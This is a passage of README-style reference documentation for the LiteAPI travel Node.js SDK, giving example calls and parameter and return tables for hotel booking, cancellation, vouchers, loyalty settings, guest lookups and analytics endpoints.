546 | 547 | 548 | ```js 549 | const result = await liteApi.book({ 550 | holder: { 551 | firstName: 'Steve', 552 | lastName: 'Doe', 553 | email: 's.doe@liteapi.travel' 554 | }, 555 | payment: { 556 | method: 'TRANSACTION_ID', 557 | transactionId: '456' 558 | }, 559 | prebookId: '123', 560 | guests: [ 561 | { 562 | occupancyNumber: 1, 563 | firstName: 'Sunny', 564 | lastName: 'Mars', 565 | email: 's.mars@liteapi.travel' 566 | } 567 | ] 568 | }); 569 | ``` 570 | *

Parameters :

571 | 572 | Name | Type | Description | Notes 573 | ------------- | ------------- | ------------- | ------------- 574 | **prebookId** | **string**| prebook id retrieved from prebook response| [required] 575 | **guestInfo** | **object**| traveler informations| [required]| 576 | |          **guestFirstName** | **string**| traveler first name | [required]| 577 | |          **guestLastName** | **string**| traveler last name | [required]| 578 | |          **guestEmail** | **string**| traveler email | [required]| 579 | **paymentMethod** | **string**| methodEnum: "CREDIT_CARD" or "STRIPE_TOKEN" | [required] 580 | **holderName** | **string**| name of the cardholder | [required] 581 | **paymentInfo** | **object**| payment informations | [required] 582 |          **card_number** | **string**| the card number associated with the credit card| [required if paymentMethod is CREDIT_CARD] 583 |          **exp_month** | **number**| the expiration month of the credit card | [required if paymentMethod is CREDIT_CARD] 584 |          **exp_year** | **number**| the expiration year of the credit card | [required if paymentMethod is CREDIT_CARD] 585 |          **cvc** | **number**| the card verification code (CVC) associated with the credit card | [required if paymentMethod is CREDIT_CARD] 586 |          **token** | **string**| token provided by Stripe for the payment method. | [required if paymentMethod is STRIPE_TOKEN] 587 | 588 | 589 | *

Return type :

590 | 591 | An object containing booking information and room details. 592 | 593 | 594 | | Name | Type | Description | 595 | | ------------------------- | ------- | ------------------------------------ | 596 | | **bookingId** | **string** | The ID of the booking. | 597 | | **clientReference** | **string** | The client reference. | 598 | | **supplierBookingId** | **string** | The supplier booking ID. | 599 | | **supplierBookingName** | **string** | The supplier booking name. | 600 | | **supplier** | **string** | The supplier. | 601 | | **supplierId** | **number** | The ID of the supplier. | 602 | | **status** | **string** | The status of the booking. | 603 | | **hotelConfirmationCode** | **string** | The hotel confirmation code. | 604 | | **checkin** | **string** | The check-in date. | 605 | | **checkout** | **string** | The check-out date. | 606 | | **hotel** | **object** | An object containing hotel details. | 607 | | **bookedRooms** | **array** | An array of booked room objects. | 608 | |         **roomType** | **object** | An object containing room type details. | 609 | |         **adults** | **number** | The number of adults. | 610 | |         **children** | **number** | The number of children. | 611 | |         **rate** | **object** | An object containing rate details. | 612 | |                **maxOccupancy** | **number** | The maximum occupancy. | 613 | |                **retailRate** | **object** | An object containing the retail rate information, including total price. | 614 | | **guestInfo** | **object** | An object containing guest details. | 615 | | **createdAt** | **string** | The creation date of the booking. | 616 | | **cancellationPolicies** | **object** | An object containing cancellation policies information. 617 | |         **cancelPolicyInfos** | **Object** | An array of cancellation policy info objects containing information about cancellation time, amount, and type. | 618 | |         **hotelRemarks** | **Array** | An array of hotel remarks. | 619 | |         **refundableTag** | **string** | The tag indicating if the rate is refundable or non-refundable. 620 | | **price** | **number** | The price of the booking. | 621 | | **msp** | **number** | The MSP (Merchant Service Provider) price. | 622 | | **commission** | **number** | The commission amount. | 623 | | **currency** | **string** | The currency of the booking. | 624 | 625 | 626 |
627 | 628 | ## Booking management 629 | 630 | ### Booking list 631 | ------ 632 | The getBookingListByGuestID function returns the list of all booking Id's for a given guest Id. 633 | 634 | *

Example :

635 | ```js 636 | const guestId = "FrT56hfty"; 637 | const result = await liteApi.getBookingListByGuestId(guestId) 638 | ``` 639 | *

Parameters :

640 | 641 | 642 | Name | Type | Description | Notes 643 | ------------- | ------------- | ------------- | ------------- 644 | **guestId** | **string** | The Guest Id of the user | [required] 645 | 646 | 647 | *

Return type :

648 | 649 | An array containing objects with the following properties: 650 | 651 | | Name | Type | Description | 652 | | ----------- | ------ | ------------------ | 653 | | **bookingId** | **string** | The booking ID. | 654 | 655 | 656 |
657 | 658 | ### Booking retrieve 659 | ------ 660 | The retrieveBooking function returns the status and the details of a specific booking Id. 661 | 662 | *

Example :

663 | ```js 664 | const bookingId = "uSQ6Zsc5R"; 665 | const result = await liteApi.retrieveBooking(bookingId); 666 | ``` 667 | *

Parameters :

668 | 669 | 670 | Name | Type | Description | Notes 671 | ------------- | ------------- | ------------- | ------------- 672 | **bookingId** | **string** | The Booking Id that needs to be retrieved | [required] 673 | 674 | 675 | *

Return type :

676 | 677 | An object containing booking information and room details. 678 | 679 | | Name | Type | Description | 680 | | --------------------- | ------ | -------------------------------- | 681 | | **bookingId** | **string** | The booking ID. | 682 | | **clientReference** | **string** | The client reference. | 683 | | **status** | **string** | The booking status. | 684 | | **hotelConfirmationCode** | **string** | The hotel confirmation code. | 685 | | **checkin** | **string** | The check-in date. | 686 | | **checkout** | **string** | The check-out date. | 687 | | **hotel** | **object** | An object containing hotel details. | 688 | | **bookedRooms** | **array** | An array of booked room objects. | 689 | |         **roomType** | **object** | An object containing room type details. | 690 | |         **adults** | **number** | The number of adults. | 691 | |         **children** | **number** | The number of children. | 692 | |         **rate** | **object** | An object containing rate details. | 693 | |                **maxOccupancy** | **number** | The maximum occupancy. | 694 | |                **boardType** | **string** | The board type. | 695 | |                **boardName** | **string** | The board name. | 696 | |                **retailRate** | **object** | An object containing the retail rate information, including total price. | 697 | | **guestInfo** | **object** | An object containing guest information. | 698 | | **createdAt** | **string** | The creation date of the booking. | 699 | | **cancellationPolicies** | **object** | An object containing cancellation policy details. | 700 | |         **cancelPolicyInfos** | **Object** | An array of cancellation policy info objects containing information about cancellation time, amount, and type. | 701 | |         **hotelRemarks** | **Array** | An array of hotel remarks. | 702 | |         **refundableTag** | **string** | The tag indicating if the rate is refundable or non-refundable. 703 | | **currency** | **string** | The currency code. | 704 | | **price** | **number** | The price of the booking. | 705 | 706 | 707 | 708 |
709 | 710 | ### Booking cancel 711 | ------ 712 | 713 | The cancelBooking function is used to request a cancellation of an existing confirmed booking. Cancellation policies and conditions will be used to determine the success of the cancellation. For example a booking with non-refundable (NRFN) tag or a booking with a cancellation policy that was requested past the cancellation date will not be able to cancel the confirmed booking. 714 | 715 | 716 | *

Example :

717 | ```js 718 | const bookingId = "K8Hvb-85O"; 719 | const result = await liteApi.cancelBooking(bookingId); 720 | ``` 721 | *

Parameters :

722 | 723 | Name | Type | Description | Notes 724 | ------------- | ------------- | ------------- | ------------- 725 | **bookingId** | **string** | The booking Id of the booking you would like to cancel. | [required] 726 | 727 | 728 | 729 | *

Return type :

730 | 731 | | Name | Type | Description | 732 | | ---------------- | ------ | --------------------------- | 733 | | **bookingId** | **string** | The booking ID. | 734 | | **status** | **string** | The booking status. | 735 | | **cancellation_fee** | **number** | The cancellation fee. | 736 | | **refund_amount** | **number** | The refund amount. | 737 | | **currency** | **string** | The currency of the booking. | 738 | 739 |
740 | 741 | # Vouchers 742 | 743 | LiteAPI provides straightforward access to voucher details, including codes and discounts, along with current loyalty program status and cashback rates. 744 | 745 | ## Retrieve vouchers 746 | 747 | The `getVouchers` function retrieves a list of all available vouchers. This endpoint provides details such as the voucher code, discount type and value, validity period, and other relevant information. 748 | 749 | *

Example :

750 | 751 | ```js 752 | const result = await liteApi.getVouchers(); 753 | ``` 754 | *

Parameters :

755 | 756 | This function does not need any additional parameters. 757 | 758 | *

Return type :

759 | 760 | An object containing the following properties: 761 | name | Type | Description 762 | ------|------|------------ 763 | **status** | **string** | Status of the operation. 764 | **data** | **array** | List of available vouchers. 765 | 766 |
767 | 768 | ## Voucher Details 769 | 770 | The `getVoucherById` function retrieves details of a specific voucher by its ID. This includes the voucher code, discount details, usage limits, and more. 771 | 772 | *

Example :

773 | 774 | ```js 775 | const voucherID = "your_voucher_id"; 776 | const result = await liteApi.getVoucherById(voucherID); 777 | ``` 778 | 779 | *

Parameters :

780 | 781 | Name | Type | Description | Notes 782 | ------------- | ------------- | ------------- | ------------- 783 | **voucherID** | **string**| The unique ID of the voucher. | [required] 784 | 785 | *

Return type :

786 | 787 | An object containing the following properties: 788 | name | Type | Description 789 | ------|------|------------ 790 | **status** | **string** | Status of the operation. 791 | **data** | **object** | Details of the specific voucher. 792 | 793 | ## Create voucher 794 | 795 | Create a new voucher with the specified details, including the voucher code, discount type, value, and validity period. This voucher can then be used by customers. 796 | 797 | *

Example :

798 | 799 | ```js 800 | const result = await liteApi.CreateVoucher ({voucher_code: "em8d5d7l", 801 | discount_type: "percentage", 802 | discount_value: 12, 803 | minimum_spend: 60, 804 | maximum_discount_amount: 20, 805 | currency: "USD", 806 | validity_start: "2024-06-03", 807 | validity_end: "2024-07-30", 808 | usages_limit: 10, 809 | status: "active"}); 810 | ``` 811 | 812 | *

Parameters :

813 | 814 | Name | Type | Description | Notes 815 | ------------------------- | ------------ | ---------------------------------------------------------------------------------- | ------------- 816 | **voucherCode** | **string** | The unique code for the new voucher. | [required] 817 | **discountType** | **string** | Type of discount, such as percentage. | [required] 818 | **discountValue** | **number** | Value of the discount applied by the voucher. | [required] 819 | **minimumSpend** | **number** | Minimum rate to apply the discount voucher in the voucher currency. | [required] 820 | **maximumDiscountAmount** | **number** | Maximum discount amount that can be applied using the voucher in voucher currency. | [required] 821 | **currency** | **string** | Currency in which the discount is offered. | [required] 822 | **validityStart** | **date** | Date from which the voucher becomes valid. | [required] 823 | **validityEnd** | **date** | Date until which the voucher remains valid. | [required] 824 | **usagesLimit** | **number** | Maximum number of times the voucher can be redeemed. | [required] 825 | **Status** | **string** | The unique code for the new voucher. | [required] 826 | *

Return type :

827 | 828 | An object containing the following properties: 829 | name | Type | Description 830 | ------------|------------|------------ 831 | **message** | **string** | Voucher created successfully. 832 | 833 |
834 | 835 | ## Update Voucher 836 | 837 | Update the details of an existing voucher, including the voucher code, discount value, validity period, and more. 838 | 839 | *

Example :

840 | 841 | ```js 842 | const result = await liteApi.UpdateVoucher('68',{voucher_code: "em8d5d7l", 843 | discount_type: "percentage", 844 | discount_value: 12, 845 | minimum_spend: 60, 846 | maximum_discount_amount: 20, 847 | currency: "USD", 848 | validity_start: "2024-06-03", 849 | validity_end: "2024-07-30", 850 | usages_limit: 10, 851 | status: "active"}); 852 | ``` 853 | 854 | *

Parameters :

855 | 856 | Name | Type | Description | Notes 857 | ------------------------- | ------------ | ---------------------------------------------------------------------------------- | ------------- 858 | **id** | **number** | Unique identifier of the voucher to update. | [required] 859 | **voucherCode** | **string** | The unique code for the new voucher. | [required] 860 | **discountType** | **string** | Type of discount, such as percentage. | [required] 861 | **discountValue** | **number** | Value of the discount applied by the voucher. | [required] 862 | **minimumSpend** | **number** | Minimum rate to apply the discount voucher in the voucher currency. | [required] 863 | **maximumDiscountAmount** | **number** | Maximum discount amount that can be applied using the voucher in voucher currency. | [required] 864 | **currency** | **string** | Currency of the discount. | [required] 865 | **validityStart** | **date** | Updated start date of the voucher's validity. | [required] 866 | **validityEnd** | **date** | Updated end date of the voucher's validity. | [required] 867 | **usagesLimit** | **number** | Updated usage limit for the voucher. | [required] 868 | **Status** | **string** | Updated status of the voucher (e.g., active, inactive). | [required] 869 | *

Return type :

870 | 871 | An object containing the following properties: 872 | name | Type | Description 873 | ------------|------------|------------ 874 | **message** | **string** | Voucher updated successfully. 875 | 876 |
877 | 878 | ## Update Voucher status 879 | 880 | Update the status of a voucher, typically to activate or deactivate it. 881 | 882 | 883 | *

Example :

884 | 885 | ```js 886 | const result = await liteApi.UpdateVoucherStatus('68', {status: "inactive"}); 887 | ``` 888 | 889 | *

Parameters :

890 | 891 | Name | Type | Description | Notes 892 | ------------------------- | ------------ | ------------------------------------------------------------------------ | ------------- 893 | **id** | **number** | Unique identifier of the voucher for which the status is being updated. | [required] 894 | **Status** | **string** | New status of the voucher. | [required] 895 | *

Return type :

896 | 897 | An object containing the following properties: 898 | name | Type | Description 899 | ------------|------------|------------ 900 | **message** | **string** | Voucher status updated successfully. 901 | 902 |
903 | 904 | # Loyalty 905 | 906 | ## Loyalty Program 907 | 908 | The `getLoyalty` function retrieves information about current loyalty program settings, including status and cashback rates. 909 | 910 | 911 | *

Example :

912 | ```js 913 | const result = await liteApi.getLoyalty(); 914 | ``` 915 | *

Parameters :

916 | 917 | This function does not need any additional parameters. 918 | 919 | *

Return type :

920 | 921 | An object containing the following properties: 922 | name | Type | Description 923 | ------|------|------------ 924 | **status** | **string** | Status of the operation. 925 | **data** | **object** | Details of the loyalty program. 926 | 927 |
928 | 929 | ## Enable loyalty program 930 | 931 | Once enable the loyalty program with specified status enabled/disabled and cashback rate (e.g. 0.03 = 3% cashback). 932 | 933 | *

Example :

934 | 935 | ```js 936 | const result = await liteApi.EnableLoyalty({status: "disabled", cashbackRate: 0.03 }); 937 | ``` 938 | 939 | *

Parameters :

940 | 941 | Name | Type | Description | Notes 942 | ------------------------- | ------------ | ---------------------------------------------------------- | ------------- 943 | **Status** | **string** | Loyalty program status, either enabled or disabled. | [required] 944 | **cashbackRate** | **float** | Cashback rate in percentage, e.g. 0.1 = 10% | [required] 945 | 946 | *

Return type :

947 | 948 | An object containing the following properties: 949 | name | Type | Description 950 | -----------|------------|------------ 951 | **status** | **string** | Status of the operation. 952 | **data** | **object** | Details of the loyalty program. 953 | 954 |
955 | 956 | ## Update loyalty program 957 | 958 | Updates the loyalty program settings, including status and cashback rates. 959 | 960 | 961 | *

Example :

962 | 963 | ```js 964 | const result = await liteApi.UpdateLoyalty({status: "disabled", cashbackRate: 0.03 }); 965 | ``` 966 | 967 | *

Parameters :

968 | 969 | Name | Type | Description | Notes 970 | ------------------------- | ------------ | ---------------------------------------------------------- | ------------- 971 | **Status** | **string** | Loyalty program status, either enabled or disabled. | [required] 972 | **cashbackRate** | **float** | Cashback rate in percentage, e.g. 0.1 = 10%. | [required] 973 | 974 | *

Return type :

975 | 976 | An object containing the following properties: 977 | name | Type | Description 978 | -----------|------------|------------ 979 | **status** | **string** | Status of the operation. 980 | **data** | **object** | Details of the loyalty program. 981 | 982 |
983 | 984 | ## Fetch specific guest 985 | 986 | Fetches detailed information about a guest, including personal data, loyalty points, and booking history. 987 | 988 | *

Example :

989 | 990 | ```js 991 | const result = await liteApi.getGuestsIds(8); 992 | ``` 993 | 994 | *

Parameters :

995 | 996 | Name | Type | Description | Notes 997 | ------------------------- | ------------ | ---------------------------------------------------------- | ------------- 998 | **guestId** | **number** | Numeric ID of the guest to fetch. | [required] 999 | 1000 | *

Return type :

1001 | 1002 | An object containing the following properties: 1003 | name | Type | Description 1004 | -----------|------------|------------ 1005 | **status** | **string** | Status of the operation. 1006 | **data** | **object** | Details of specific guest. 1007 | 1008 |
1009 | 1010 | ## Fetch guest's bookings 1011 | 1012 | Retrieves a list of all bookings associated with a specific guest, including details about the points earned and cashback applied for each booking. 1013 | 1014 | *

Example :

1015 | 1016 | ```js 1017 | const result = await liteApi.getGuestsBokings(8); 1018 | ``` 1019 | 1020 | *

Parameters :

1021 | 1022 | Name | Type | Description | Notes 1023 | ------------------------- | ------------ | ---------------------------------------------------------- | ------------- 1024 | **guestId** | **number** | Numeric ID of the guest to fetch. | [required] 1025 | 1026 | *

Return type :

1027 | 1028 | An object containing the following properties: 1029 | name | Type | Description 1030 | -----------|------------|------------ 1031 | **status** | **string** | Status of the operation. 1032 | **data** | **object** | Details of guest's bookings. 1033 | 1034 |
1035 | 1036 | # Analytics 1037 | 1038 | ## Retrieve weekly analytics 1039 | 1040 | Fetch weekly analytics data for the specified date range. 1041 | 1042 | 1043 | *

Example :

1044 | 1045 | ```js 1046 | const result = await liteApi.RetrieveWeeklyAanalytics( {from: "2024-01-01", to: "2024-01-07"}); 1047 | ``` 1048 | 1049 | *

Parameters :

1050 | 1051 | Name | Type | Description | Notes 1052 | ------------ | ---------- | ---------------------------------------------------------- | ------------- 1053 | **from** | **date** | Start date for the analytics data YYYY-MM-DD (ISO 8601). | [required] 1054 | **to** | **date** | Start date for the analytics data YYYY-MM-DD (ISO 8601). | [required] 1055 | 1056 | *

Return type :

1057 | 1058 | An object containing the following properties: 1059 | name | Type | Description 1060 | -----------|------------|------------ 1061 | **status** | **string** | Status of the operation. 1062 | **data** | **object** | Details of weekly analytics. 1063 | 1064 |
1065 | 1066 | ## Retrieve detailed analytics report 1067 | 1068 | Fetch a detailed analytics report for the specified date range. 1069 | 1070 | 1071 | 1072 | *

Example :

1073 | 1074 | ```js 1075 | const result = await liteApi.RetrieveAanalyticsReport( {from: "2024-01-01", to: "2024-01-07"}); 1076 | ``` 1077 | 1078 | *

Parameters :

1079 | 1080 | Name | Type | Description | Notes 1081 | ------------ | ---------- | ---------------------------------------------------------- | ------------- 1082 | **from** | **date** | Start date for the analytics data YYYY-MM-DD (ISO 8601). | [required] 1083 | **to** | **date** | Start date for the analytics data YYYY-MM-DD (ISO 8601). | [required] 1084 | 1085 | *

Return type :

1086 | 1087 | An object containing the following properties: 1088 | name | Type | Description 1089 | -----------|------------|------------ 1090 | **status** | **string** | Status of the operation. 1091 | **data** | **object** | Details of analytics report. 1092 | 1093 |
1094 | 1095 | ## Retrieve market analytics 1096 | 1097 | Fetch market analytics data for the specified date range. 1098 | 1099 | 1100 | *

Example :

1101 | 1102 | ```js 1103 | const result = await liteApi.RetrieveMarketAanalytics ( {from: "2024-01-01", to: "2024-01-07"}); 1104 | ``` 1105 | 1106 | *

Parameters :

1107 | 1108 | Name | Type | Description | Notes 1109 | ------------ | ---------- | ---------------------------------------------------------- | ------------- 1110 | **from** | **date** | Start date for the analytics data YYYY-MM-DD (ISO 8601). | [required] 1111 | **to** | **date** | Start date for the analytics data YYYY-MM-DD (ISO 8601). | [required] 1112 | 1113 | *

Return type :

1114 | 1115 | An object containing the following properties: 1116 | name | Type | Description 1117 | -----------|------------|------------ 1118 | **status** | **string** | Status of the operation. 1119 | **data** | **object** | Details of market analytics. 1120 | 1121 |
1122 | 1123 | ## Most booked hotels 1124 | 1125 | Fetch hotel analytics data for most booked hotels the specified date range. 1126 | 1127 | 1128 | *

Example :

1129 | 1130 | ```js 1131 | const result = await liteApi.RetrieveMostBookedHotels( {from: "2024-01-01", to: "2024-01-07"}); 1132 | ``` 1133 | 1134 | *

Parameters :

1135 | 1136 | Name | Type | Description | Notes 1137 | ------------ | ---------- | ---------------------------------------------------------- | ------------- 1138 | **from** | **date** | Start date for the analytics data YYYY-MM-DD (ISO 8601). | [required] 1139 | **to** | **date** | Start date for the analytics data YYYY-MM-DD (ISO 8601). | [required] 1140 | 1141 | *

Return type :

1142 | 1143 | An object containing the following properties: 1144 | name | Type | Description 1145 | -----------|------------|------------ 1146 | **status** | **string** | Status of the operation. 1147 | **data** | **object** | Details of Most booked hotels. 1148 | 1149 |
1150 | # Example Project 1151 | To see an example project demonstrating how to integrate the SDK, visit [liteAPI-nodejs-sdk-examples](https://github.com/liteapi-travel/nodejs-sdk-examples) --------------------------------------------------------------------------------